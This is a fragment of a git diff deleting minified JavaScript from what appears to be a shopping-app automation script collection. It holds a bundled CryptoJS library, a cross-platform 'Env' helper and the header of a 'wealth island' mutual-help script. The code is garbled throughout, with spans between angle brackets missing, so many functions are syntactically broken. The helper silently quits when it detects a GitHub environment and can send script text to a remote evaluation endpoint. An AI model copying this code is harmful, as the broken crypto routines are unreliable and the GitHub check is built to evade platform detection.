n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); -} - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/gua_wealth_island_help.js b/gua_wealth_island_help.js deleted file mode 100644 index b3ce056e3..000000000 --- a/gua_wealth_island_help.js +++ /dev/null @@ -1,615 +0,0 @@ -/* - https://st.jingxi.com/fortune_island/index2.html - 18 0,1,9,14,18 * * * https://raw.githubusercontent.com/smiek2121/scripts/master/gua_wealth_island_help.js 财富大陆互助 - - 默认按账号顺序提交 - 如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例: - gua_wealth_island_codeId="3,5,8" - - 先账号互助完再助力助力池 - 默认其余的助力给助力池 - 如果介意请不要使用本脚本 - -*/ - -// prettier-ignore -!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var 